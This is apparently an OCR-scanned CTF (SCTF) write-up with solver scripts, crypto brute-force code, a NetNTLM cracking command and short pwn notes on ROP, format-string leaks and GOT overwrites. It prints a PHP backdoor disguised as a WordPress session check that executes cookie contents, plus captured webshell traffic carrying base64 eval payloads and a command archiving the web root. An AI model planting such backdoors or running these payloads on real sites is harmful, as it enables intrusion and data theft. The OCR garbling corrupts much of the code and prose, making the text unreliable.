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#!php
function wp_check_my_session(){
if(isset($_COOKIE[ 'wp-ssesion'])) {
$_check=($_COOKIE[ ‘wp-sesion'][0]~$_COOKIE[ ‘wp-sesion'][1]).
($_COOKIE[ 'wp-sesion'][2]"$_COOKIE[ 'wp-sesion'][3]).
($_COOKIE[ 'wp-sesion'][4]"$_COOKIE[ 'wp-sesion'][5]).
($_COOKIE[ 'wp-sesion'][6]"$_COOKIE[ 'wp-sesion'][7]).
($_COOKIE[ 'wp-sesion'][8]"$_COOKIE[ 'wp-sesion'][9]).
($_COOKIE[ 'wp-sesion'][10]~$_COOKIE[ 'wp-sesion'][11]);
$_check($_COOKIE[ 'wp-ssesion']);
¥
else{
return 0;
}
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#!python
import string,socket

global answer,real_ans,flag,a_num

def check(answer_t,num):
global real_ans
money = [1, -2, 4, -8, 16, -32, 64, -128, 256, -512, 1024, -2048, 4096, -8192]
for x in answer_t:

num -= money[x]

if num ==
flag = 1
real_ans = answer[:]
return 1

return ©

def odd(i):
if i % 2 ==

return False
return True

def solv(num):

global answer,real_ans

if check(answer,a_num) == 1:
return 0

bin_num = bin(num)

if odd(abs(num)):
num -= 1
bin_num = bin(num)
answer.append(0)
if check(answer,a_num) == 1:
return

for x in xrange(2,len(bin_num)-1,2):



if bin_num[-1*x] == '@' and bin_num[-1*x-1]== "'1':

answer.append(x)

if solv(num-2**x) == @:
return 0
if bin_num[-1*x] == '1' and bin_num[-1*x-1]== "'1':

answer.append(x-1)
if solv(num+2*¥*(x-1)) ==

return 0

if bin_num[-1*x] == '1' and \
(bin_num[-1*x-1]== '@' or bin_num[-1*x-1]== 'b'):
answer.append(x-1)
if solv(num+2**(x-1)) ==

return 0

def main():

global answer,real_ans,flag,a_num
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
io.connect(('218.2.197.248',10007))

io

[RES

rnd 0

while True:

rnd += 1
a_num = @

res

res = io.recv(1024)

try:
a_num = int(res)
except:
print '\n'+res
break

print ‘\n' + '-' * 10 + ' Round %d ‘'%rnd + '-'%*10

print res
flag = @
answer

[l

real_ans

(]

solv(a_num)
s = '
if len(real_ans)>0:

s ".join([str(x) for x in real_ans[::-1]])
print s

io.sendall(s+'\n")

if __name__ == '__main__"':
main()
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#!python
# -*- coding:utf-8 -*-
def getFlag():
s = "n6duFg3rJ"[::-1]
flag = []
for ch in s:
flag.append(chr(ord(ch)-3))
return "".join(flag)

if __name__ == "__main__
raw_input ("SCTF{%s}" % getFlag())
# SCTF{Goe@dCra3k}
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#lc

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curses.h>
#include <sys/types.h>
#include <signal.h>

int getPid()

{
FILE *fp = NULL;
fp = popen("ps -e|grep \'snake\'|awk \'{print $1}\'", "r");
int pid = -1;
if (EOF == fscanf(fp, "%d", &pid)) pid = -1;
pclose(fp);
return pid;
}
int main(int argc, char** argv)
{
int ch;
int pid = -1;
while (pid == -1) pid = getPid();
printf("pid = %d\n", pid);
initscr();
cbreak();
noecho();
keypad(stdscr, true);
while (1)
{
ch = getch();
if (ch == KEY_UP) ch = '8';
else if (ch == KEY_DOWN) ch = '2"';
else if (ch == KEY_LEFT) ch = '4";
else if (ch == KEY_RIGHT) ch = '6"';
kill(pid, ch);
¥
endwin();
return 0;
¥
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g++ -o ctrl ctrl.cpp -lncurses
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*/
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S8 5 2:Kali T ifymetasploit-framework T #inetntim.pl il 4< :
[email protected]:/usr/share/metasploit-framework/data/john/run.linux.x64.mmx$
sudo perl ./netntim.pl --seed "NETLMIS" --file /tmp/john_netntim

1 52 55— A FINETLMIS666, XA AR X 4 K/NE I, JRA1E 7255 i 13 5NetLMis666, [Hitt
Flag ' SCTF{NetLMis666}.
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[email protected](base64_decode($_POST[z@]));&z0=QGluaV9zZXQoImRpc3BsYX1fzXJyb3JzIiwiMCIpOOBzZXRfdGltZVIsalW
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@ini_set("display_errors","@");@set_time_limit(0@);@set_magic_quotes_runtime(@);echo("->|");;$F=get_magic_qu
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[email protected](base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYX1fZXJyb3IzIiwiMCIpOOBzZXRfdG1tZVIsaW
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[email protected](base64_decode($_POST[z@]));&[email protected] _set("display_errors","e");@set_time_limit(eo
ret={$ret}

"";secho("]<-");die();&z1=cmd&z2=cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\
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#!python

import json

import hashlib

import os

import base64

from Crypto.Cipher import AES

fp = open("secret.json", "r")
secret = json.load(fp)
fp.close()

if type(secret["the answer to life the universe and everything"]) != type(u"77"):
destroy_the_universe()

answer = hashlib.shal(secret["the answer to life the universe and everything"]).hexdigest()[0:16]
key = hashlib.shal(secret["Don't google what it is"]).digest()[0:6]

if ord(key[4])*(ord(key[5])-5) != 17557:
destroy_the_universe()

keys = ["hey"+key[2]+"check"+key[3]+"it"+key[@]+"out",
"come"+key[1]+"on"+key[4]+"baby"+key[5]+"~~1"]
answer = AES.new(keys[1],AES.MODE_ECB).encrypt(
AES.new(keys[©], AES.MODE_ECB).encrypt(answer))

if base64.b6dencode(answer) == "fm2knkCBHPUhCQHYE3spag==":
fp = open("%s.txt" % hashlib.sha256(key).hexdigest(), "w")
fp.write(secret["The entrance to the new world"])
fp.close()

SRS
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def break_multiply(dst=17557): for i in xrange(0, dst+1): for j in xrange(i, dst+1): if i * j == dst: print "%d * %d =
%d" % (i, j, dst)

T4 keya Filkey54: 7 76 Wi A1 141(97,186), (181,102).

2RI T, BN f fkeys[O]tfanswerdk 4T AES N #1532 Hh (A1 45 RTMP, 4R )5 {i ilkeys 14}
TMP#EATAESHI %15 245 RRES, XJRES 17 Base644#1415 £|fm2knk CBHPUuhCQHYE3spag==.
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#!python
# -*- coding:utf-8 -*-

import hashlib
import base64

from Crypto.Cipher import AES

def genkeyl():
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res = []
for i in xrange(@, 256):
res.append("come"+chr(i)+"on"+chr(181)+
"baby"+chr(102)+"~~1")
res.append("come"+chr(i)+"on"+chr(97)+
"baby"+chr(186)+"~~!1")
return res

def genkey@():

res = []

for i in xrange(@, 256):

for j in xrange(@, 256):
for k in xrange(@, 256):
res.append("hey"+chr(i)+"check"+
chr(j)+"it"+chr(k)+"out")
return res

def getkeyl(key®):
answer = hashlib.shal(u"42").hexdigest()[0:16]
tmp = AES.new(key®, AES.MODE_ECB).encrypt(answer)
final_answer = base64.b64decode("fm2knkCBHPUhCQHYE3spag==")
for i in xrange(@, 256):
keyl = "come"+chr(i)+"on"+chr(181)+"baby"+chr(102)+"~~1"
if tmp == AES.new(keyl, AES.MODE_ECB).decrypt(
final_answer):

print "keyl: " + repr(keyl)
return
keyl = "come"+chr(i)+"on"+chr(97)+"baby"+chr(186)+"~~!"
if tmp == AES.new(keyl, AES.MODE_ECB).decrypt(
final_answer):

print "keyl: + repr(keyl)

return

def crack():
keys@ = genkey@() # 256**3
keysl = genkeyl() # 512
answer = hashlib.shal(u"42").hexdigest()[0:16]
final_answer = base64.b64decode("fm2knkCBHPUhCQHYE3spag==")
tmp_res = []
for keyl in keys1:
tmp_res.append(AES.new(keyl, AES.MODE_ECB).decrypt(
final_answer))
for key@® in keys@:
tmp = AES.new(key®, AES.MODE_ECB).encrypt(answer)
if tmp in tmp_res:

print "key@: + repr(keyo)

return getkeyl(key®)

if _name__ == "__main__":

crack()

key = "\x81i7\x88a\xba"

print hashlib.sha256(key).hexdigest()
key@: "hey7check\x88it\x8lout' 2 3 @
keyl: 'comeionababy\xba~~!"' 145
5bd15779b922c19ef9a9ba2f112df1f2dbb0ad@8bbf9edac27a28a0f3ba753f4
http://download.sycsec.com/code/code400/5bd15779b922c19ef9a9ba2f112df1f2dbb@ad@8bbf9edac27a28a0f3ba753f4. tx
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K il A5
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NMHjWxdh3===tFMfhM3HwJ===UE95VcN5tMJcQch50====NURX2uHY GP=0f50X==
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#!python

# -*- coding:utf-8 -*-
import sys

import hashlib

import base64

def crack():
ciphertext = base64.b64decode("0r18/xSC2xW5pT7BLbIE7YPGLWWYtbZsxupMp4w6iaa@QvtYZUMefkf43wmzR36MekHm23wg
plaintext = "*****n**M****H***j***WX*******d************h*****3****=*******==******t**F**M**f***hM*****
print repr(ciphertext)
length = len(ciphertext) / 5
answer = list("*"*length)
for i in xrange(®, len(plaintext)):
if plaintext[i] != "*':
answer[i%length] = plaintext[i]
answer = "".join(answer)
print answer
print base64.b64decode(answer)
# SCTF{D@_y0u_r3ally knlw_crypt@9raphy?}

if __name__ == "__main__":
crack()

LN T



fife R ) B SO
UONURNtEMF95MHVfcjNhMWx5X2tuMHdfY 3J5cHQWOXJhcGh5P30=============
17 Baseb4 i3 5|Flag’y. SCTF{DO_yOu_r3ally_knOw_cryptO9raphy?}

pwn200

AT B AR R Y, I — AN e A K, el i gE b idliberR i ik SR E systemied B L b /bin/shits ik,
SR 5 A& ropE

pwn300

AT R IR, JF 7 dep, BIMEIRGAE, F DUEE S Frgot Rk Sl systemed B fidhAT . R IR
Sl id %279%xitt £z 3K #3libc_start_mainitiik:
AL AR libe it 51 i systemits ik
FERZ A 775 B Frprintfeg £ bk ysystem
Kiklbin/sh, k@ printffT BN, Szbr 2 EAT/bin/sh

Pwn400

B BRI EER UG ) T R dImallocHEd i T #Eedit content® B %, FANEK, FTLAE S T NI A
2, AR RO PR EE T DAERA ], SCUER L S RIR . a0 & contenti K 1 K :

B E RS, %SO T dep, IR B R R AT B S IR, Krshellcodeddik B A got#, kP
—NEIE R got R IR R4, B e RIEFEA 2freed B iigotsR, A2 an K Fis:

FEFEREN G A R IROHE R R B, AT EE s WA 4R BT, AR SBMETCRAR A, PRUEHEHCL A H ] 2
ARG S )L, A EEE Fifreerh . [FIRTEANS A HoAth 1]

IBEEAR R IR A 1. HiE3 M note 2.4 55— note, ¥ B N7 & 55— notefl) W A T84T, 3RS —
note. REACIDUIT:
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